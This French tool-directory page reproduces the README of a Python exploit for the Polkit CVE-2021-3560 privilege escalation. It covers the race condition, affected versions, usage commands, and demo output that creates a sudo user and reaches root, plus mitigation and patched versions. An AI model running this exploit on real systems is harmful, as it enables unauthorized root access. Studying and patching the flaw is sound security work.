Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2021-3560_Polkit — Exploit pour la vulnérabilité d'élévation locale de privilèges CVE-2021-3560 Polkit | Kitploit
Outils/GitHubGitHub/seimupve/cve-2021-3560_polkit
Escalade de PrivilègesAnalyse des VulnérabilitésExploitationTests d'IntrusionApprentissage et ÉducationExploitation de BinairesLabs et Pratique
GitHubseimupve/cve-2021-3560_polkit

CVE-2021-3560_Polkit

Exploit pour la vulnérabilité d'élévation locale de privilèges CVE-2021-3560 Polkit

Voir le dépôt
il y a 9 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2021-3560 Polkit Élévation locale de privilèges

root@kitploit:~
        .--.  .-"     "-.  .--.
      / .. \/  .-. .-.  \/ .. \
     | |  '|  /   Y   \  |'  | |
     | \   \  \ 0 | 0 /  /   / |
      \ '- ,\.-"`` ``"-./, -' /
       `'-' /_   ^ ^   _\ '-'`
        .--'|  \._   _./  |'--.
      /`    \   \ `~` /   /    `\
     /       '._ '---' _.'       \
    /           '~---~'           \
   /                               \

Un exploit automatisé pour la vulnérabilité CVE-2021-3560 affectant PolicyKit (Polkit) sur les systèmes Linux.

⚠️ AVERTISSEMENT : Cet outil est destiné uniquement à des fins éducatives et de formation en cybersécurité dans un environnement de laboratoire contrôlé. Toute utilisation non autorisée de cet exploit sur des systèmes qui ne vous appartiennent pas est illégale.

📋 Table des matières

  • About the Vulnerability
  • Vulnerable Systems
  • Features
  • Prerequisites
  • Installation
  • Usage
  • How It Works
  • Demonstration
  • Mitigation
  • References

🔍 À propos de la vulnérabilité

CVE-2021-3560 est une vulnérabilité locale de type condition de course dans PolicyKit (polkit) qui permet à un utilisateur non privilégié d'obtenir les privilèges root sur des systèmes Linux vulnérables.

Détails techniques

  • CVE ID : CVE-2021-3560
  • Sévérité : Élevée (CVSS 7.8)
  • Type : Condition de course / Time-of-Check Time-of-Use (TOCTOU)
  • Impact : Élévation locale de privilèges (LPE)
  • Date de divulgation : Juin 2021

Versions affectées

La vulnérabilité affecte deux branches de Polkit avec une numérotation de version différente :

Version amont (versions officielles)

  • Vulnérable : 0.113 à 0.118
  • Bug introduit : Commit bfa5036 (version 0.113)
  • Corrigé : Version 0.119+

Fork Debian/Ubuntu

  • Vulnérable : 0.105-26 et versions ultérieures (jusqu'à 0.118)
  • Bug introduit : Commit f81d021 (version 0.105-26)
  • PAS vulnérable : Debian 10 « buster » (0.105-25)

💻 Systèmes vulnérables

📝 Remarque : Les systèmes avec correctifs de sécurité appliqués (par exemple, ubuntu1.1, deb10u1) ne sont pas vulnérables.

✨ Fonctionnalités

  • ✅ Détection automatique de la vulnérabilité sur plusieurs distributions
  • ✅ Prise en charge multi-OS : Debian, Ubuntu, RHEL, CentOS, Fedora, Arch Linux
  • ✅ Vérification des dépendances pour les outils requis
  • ✅ Mode vérification : Vérifier la vulnérabilité sans exploitation
  • ✅ Temporisation adaptative : Mesure automatique du timing optimal de la condition de course
  • ✅ Indicateurs de progression : Affichage de la progression en temps réel
  • ✅ Sortie colorée : Interface claire et facile à lire
  • ✅ Gestion robuste des erreurs : Messages explicites en cas d'échec

📦 Prérequis

Version de Python

  • Python 3.6+ (compatible avec les anciens systèmes comme CentOS 8)

Dépendances système

L'exploit nécessite les outils suivants (vérifiés automatiquement) :

root@kitploit:~
- dbus-send      # To communicate with D-Bus
- pkexec         # Part of PolicyKit
- id             # To verify user creation
- openssl        # To generate password hash

Service requis

root@kitploit:~
- accountsservice  # Must be installed and active

🚀 Installation

root@kitploit:~
# Clone the repository (or download the file)
git clone https://github.com/[your-repo]/CVE-2021-3560_Polkit.git
cd CVE-2021-3560_Polkit

# Make the script executable
chmod +x CVE-2021-3560_Polkit.py

📖 Utilisation

Mode 1 : Vérification de vulnérabilité (--check)

Vérifie si le système est vulnérable sans exécuter l'exploit :

root@kitploit:~
python3 CVE-2021-3560_Polkit.py --check

Exemple de sortie :

root@kitploit:~
[*] ============================================================
[*] CVE-2021-3560 Polkit Vulnerability Checker
[*] ============================================================
[*] Detecting operating system...
[+] OS: Ubuntu 20.04
[*] Checking required dependencies...
[+] Found: dbus-send
[+] Found: pkexec
[+] Found: id
[+] Found: openssl
[*] Detecting Polkit version...
[+] Polkit version: 0.105-26ubuntu1
[+] ============================================================
[+] SYSTEM APPEARS VULNERABLE!
[+] ============================================================
[*] Debian/Ubuntu fork detected (vulnerable since 0.105-26)

Mode 2 : Exploitation

Crée un utilisateur privilégié :

root@kitploit:~
python3 CVE-2021-3560_Polkit.py -u <username> -p <password>

Exemple :

root@kitploit:~
python3 CVE-2021-3560_Polkit.py -u hacker -p Password123!

Options complètes

root@kitploit:~
usage: CVE-2021-3560_Polkit.py [-h] [-u USERNAME] [-p PASSWORD] [-c]

options:
  -h, --help            Show help
  -u, --username        Username to create
  -p, --password        Password for new user
  -c, --check           Check vulnerability without exploiting

⚙️ Fonctionnement

L'exploit exploite une condition de course dans PolicyKit pendant le traitement des requêtes D-Bus.

Principe de la vulnérabilité

  1. Requête D-Bus : L'utilisateur envoie une requête D-Bus pour créer un utilisateur
  2. Vérification d'autorisation : Polkit vérifie si l'utilisateur a les permissions
  3. Condition de course : Si la connexion D-Bus est fermée pendant la vérification, Polkit considère l'UID comme 0 (root)
  4. Création de l'utilisateur : L'utilisateur est créé avec des privilèges élevés

Étapes de l'exploit

root@kitploit:~
┌─────────────────────────────────────────────────────────┐
│ 1. Optimal timing measurement                          │
│    └─> Test execution to calibrate timing              │
├─────────────────────────────────────────────────────────┤
│ 2. Exploitation: User creation                         │
│    └─> Send D-Bus CreateUser request                   │
│    └─> Kill process at precise moment (race condition) │
│    └─> Verify if user created                          │
├─────────────────────────────────────────────────────────┤
│ 3. Password hash generation                            │
│    └─> Using openssl passwd -6                         │
├─────────────────────────────────────────────────────────┤
│ 4. Exploitation: Password setting                      │
│    └─> Send D-Bus SetPassword request                  │
│    └─> Kill process at precise moment (race condition) │
│    └─> Test login with password                        │
├─────────────────────────────────────────────────────────┤
│ 5. Privilege escalation                                │
│    └─> Login with created account                      │
│    └─> Use sudo if member of sudo group                │
└─────────────────────────────────────────────────────────┘

🎬 Démonstration

Scénario d'exploitation typique

root@kitploit:~
# 1. Check vulnerability
user@vulnerable:~$ python3 CVE-2021-3560_Polkit.py --check
[+] SYSTEM APPEARS VULNERABLE!

# 2. Launch exploit
user@vulnerable:~$ python3 CVE-2021-3560_Polkit.py -u pwned -p Pwn3d123!

╔═══════════════════════════════════════════════════════════╗
║       CVE-2021-3560 Polkit Privilege Escalation          ║
╚═══════════════════════════════════════════════════════════╝

[*] Creating user 'pwned' using race condition timing attack...
[*] Measuring command execution time...
[*] Command takes ~0.045s, using 0.023s timing
[*] Attempting race condition exploit, please wait...
[+] User 'pwned' created successfully! UID: 1001
[*] User is member of groups: 1001(pwned) 27(sudo)
[*] Generating password hash...
[+] Password hash generated
[*] Setting password for user 'pwned'...
[+] Password set successfully!

╔═══════════════════════════════════════════════════════════╗
║                  EXPLOIT SUCCESSFUL!                      ║
╚═══════════════════════════════════════════════════════════╝

[+] User 'pwned' created with password 'Pwn3d123!'
[*] User should be member of 'sudo' group for privilege escalation
[*] Switching to user 'pwned'...

# 3. Get root
pwned@vulnerable:~$ sudo su
root@vulnerable:~# id
uid=0(root) gid=0(root) groups=0(root)

🛡️ Atténuation

Pour les administrateurs système

  1. Mettre à jour PolicyKit :

    root@kitploit:~
    # Debian/Ubuntu
    sudo apt update && sudo apt upgrade policykit-1
    
    # RHEL/CentOS/Fedora
    sudo yum update polkit
    # or
    sudo dnf update polkit
    
  2. Vérifier la version :

    root@kitploit:~
    pkexec --version
    # Must be >= 0.119 (upstream) or patched
    
  3. Vérifier les correctifs de sécurité :

    root@kitploit:~
    # Debian/Ubuntu
    apt-cache policy policykit-1
    
    # RHEL/CentOS/Fedora
    rpm -q --changelog polkit | grep CVE-2021-3560
    

Version minimale sécurisée

  • Upstream : ≥ 0.119
  • Ubuntu 20.04 : 0.105-26ubuntu1.1 ou supérieure
  • Debian 11 : 0.105-31+deb11u1 ou supérieure
  • RHEL 8 : polkit-0.115-11.el8_4.1 ou supérieure

📚 Références

Articles et documentation officiels

  • GitHub Security Lab : Élévation de privilèges avec Polkit : Comment obtenir root sur Linux avec un bug vieux de sept ans
  • Red Hat CVE : CVE-2021-3560
  • MITRE CVE : CVE-2021-3560
  • NVD NIST : Détail CVE-2021-3560

Ressources TryHackMe

  • Salle TryHackMe : Polkit CVE-2021-3560 (Pratique)

Correctifs et corrections

  • GitLab Polkit : Commit de correction

📝 Remarques importantes

Taux de réussite

L'exploit repose sur une condition de course, ce qui signifie :

  • ✅ Fonctionne généralement en 1 à 20 tentatives
  • ⏱️ Le timing est critique (calibré automatiquement)
  • 🔄 Maximum de 100 tentatives par étape (configurable)
  • 📡 Meilleur taux de réussite via SSH plutôt que via la console locale

Limitations

  • ❌ Ne fonctionne pas sur les systèmes corrigés
  • ❌ Nécessite accountsservice installé et actif
  • ❌ L'utilisateur doit avoir accès au D-Bus système
  • ❌ Certains environnements (conteneurs, VM spécifiques) peuvent bloquer l'exploit

Versions corrigées (NON vulnérables)

Les versions suivantes incluent des correctifs de sécurité et ne sont PAS vulnérables :

  • 0.105-26ubuntu1.1, 0.105-26ubuntu1.2, 0.105-26ubuntu1.3, etc. (Ubuntu corrigé)
  • 0.105-26ubuntu2.1, 0.105-26ubuntu2.2, etc. (Ubuntu corrigé)
  • 0.105-31+deb11u1 (Debian 11 corrigé)
  • polkit-0.115-11.el8_4.1 (RHEL 8 corrigé)

Remarque : Si votre système apparaît comme vulnérable mais que l'exploit échoue avec des erreurs PermissionDenied, c'est probablement parce que la version est corrigée. L'exploit détectera désormais correctement ces versions corrigées.

Dépannage

Si l'exploit échoue :

  1. Vérifier la version de Python (si vous obtenez TypeError: __init__() got an unexpected keyword argument 'capture_output') :

    root@kitploit:~
    python3 --version
    # Should be 3.6 or higher
    # The script is compatible with Python 3.6+
    
  2. Vérifier si la version est corrigée :

    root@kitploit:~
    pkexec --version
    # If you see ubuntu1.X (where X > 0), it's patched
    
  3. Vérifier accountsservice :

    root@kitploit:~
    systemctl status accounts-daemon
    
  4. Vérifier D-Bus :

    root@kitploit:~
    dbus-send --system --dest=org.freedesktop.DBus --type=method_call --print-reply /org/freedesktop/DBus org.freedesktop.DBus.ListNames
    
  5. Lancer depuis SSH plutôt que depuis la console locale

  6. Ajuster le timing en modifiant optimal_timing dans le code

👤 Auteur

Seimu

📄 Licence

Ce projet est destiné uniquement à des fins éducatives. L'utilisation de ce code pour des activités non autorisées est strictement interdite et peut entraîner des poursuites judiciaires.


⚠️ Avertissement : L'auteur n'est pas responsable de toute utilisation abusive de cet outil. Utilisez-le uniquement dans des environnements de test autorisés.

Télécharger l’outil
DistributionVersion de PolkitVulnérable ?
Ubuntu 20.040.105-26ubuntu1✅ Oui
Ubuntu 18.040.105-20❌ Non
Debian testing "bullseye"0.105-31+✅ Oui
Debian 10 « buster »0.105-25❌ Non
RHEL 80.115-11+✅ Oui
RHEL 7< 0.113❌ Non
Fedora 21+0.113+✅ Oui
Fedora 20 et versions antérieures< 0.113❌ Non